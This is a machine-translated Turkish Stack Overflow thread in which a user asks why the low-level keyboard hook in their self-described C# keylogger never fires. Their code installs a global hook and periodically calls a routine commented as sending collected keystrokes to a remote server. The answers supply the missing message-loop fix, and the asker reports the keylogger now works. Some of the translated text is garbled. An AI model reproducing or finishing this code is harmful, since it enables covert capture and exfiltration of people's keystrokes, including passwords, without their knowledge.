2011-04-07 16 views
5

C# 'da bir keylogger yazıyorum ama klavye olaylarından çağrılan kanca yöntemimi almada sorun yaşıyorum. Kodum doğru görünüyor ancak bazı nedenlerden dolayı geri arama yapılamıyor. İşte . NET uygulamasında düşük düzey klavye kancası çağrılmıyor

ilgili kodudur:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); 

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr GetModuleHandle(string lpModuleName); 

private const int WH_KEYBOARD_LL = 13; 
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); 
private static IntPtr HookHandle = IntPtr.Zero; 

static void Main() 
{ 
    /* install low level global keyboard hook */ 
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0); 

    /* every 60 seconds, process collected keystrokes */ 
    for (;;) 
    { 
     Thread.Sleep(60000); 
     SendKeyData(); 
    } 
} 

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) 
{ 
    /* code to handle key events would be here */ 

    return CallNextHookEx(HookHandle, nCode, wParam, lParam); 
} 

private static void SendKeyData() 
{ 
    /* code to send accumulated keystroke data to remote server would be here */ 
} 

SetWindowsHookEx çağrı (yani bir null) olması gerektiği gibi bir tanıtıcı döndürür, bu yüzden yüklü olduğu anlamına gerekirdi, ama HookCallback bir kesme noktası koyduğunuzda , asla ulaşılmaz.

Yanlış yapabileceklerimi lütfen herkes bilgilendirebilir mi?

+1

"For" bloğunu yorumlarsanız işe yarıyor mu? –

+0

Hayır, eğer bunu yaparsam işlem hemen sona erer. –

+2

Büyük olasılıkla döngü için sonsuz bir Zamanlayıcı kullanmak daha iyi bir uygulama olabilir. En azından bir Zamanlayıcı ile gerekirse gerekirse durdurabilirsiniz. – jlafay

cevap

4

Bir konsol uygulaması yazıyormuş gibi görünüyor. Windows olaylarını ele aldığınız için bu bir form uygulaması olmalıdır. Sadece formu sakla ve işe yaramalısın. As

bir iş-etrafında konsol uygulamaları için, kendi döngü içinde Application.DoEvents() diyebiliriz:

for (;;) 
{ 
    Thread.Sleep(1); 
    Application.DoEvents(); //Process event queue 
    SendKeyData(); 
} 

iyi, kötü değil bu kullanın.

+0

Bir dakika uyumuyorsun, bu kanca zaman aşımına uğradı. 45 msn mutlu bir sayıdır. Application.Run() daha iyidir. –

+0

Çok teşekkürler! İkinizden gelen cevapların kombinasyonu beni başarılı bir sonuca götürdü. Açık bir mesaj döngüsüne ihtiyacım olduğunu anlamadım. Şimdi programım bunu yapmak için Application.Run() çağırır ve anahtar veri gönderme bir BackgroundWorker (ve Senkronize Kuyruk aracılığıyla iki thread arasındaki iletişim) aracılığıyla ayrı bir iş parçacığı kullanılarak yapılır. Sorumu çalışma koduyla güncelleyeceğim. –

+0

'sleep' use' sleep (1) 'i kullanmanız gerekiyorsa. Bu kod, tüm klavye girişlerini ve IMO'nun hem 45 hem de @ HansPassant'ın önerdiği gibi geciktirdiğini ve 450 ms'nin kabul edilemez olduğunu. Doğru çözüm, bir engelleme mesajı gönderimi olacaktır, ancak doğrudan doğruya, winapi işlevlerini çağırmadan C# 'da bir konsol uygulamasında bunu nasıl yapacağını bilmiyorum. – CodesInChaos

0

deneyin

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName) 

ile GetModuleHandle (null) değiştirilmesi ve bu numarayı yaparsa bakın. GetCurrentProcess() öğesinden döndürülen Process nesnesinin ve MainModule'den döndürülen ProcessModule nesnesinin tek kullanımlık olduğunu unutmayın, böylece bunları değişken olarak bildirmek ve sonra bunları el ile atmak isteyebilirsiniz; daha da iyisi, bir using bloğuna koyun.

+0

Cevabınız için teşekkürler, ancak sorun değildi - başlangıçta SetWindowsHookEx için parametrelerle ilgili bir sorunla karşılaşmış olmama rağmen, yanlışlıkla sadece global kanca için geçerli işlem modülünün modül koluna ihtiyaç duyduğumda iş parçacığı kimliği için bir parametre koyuyorum. –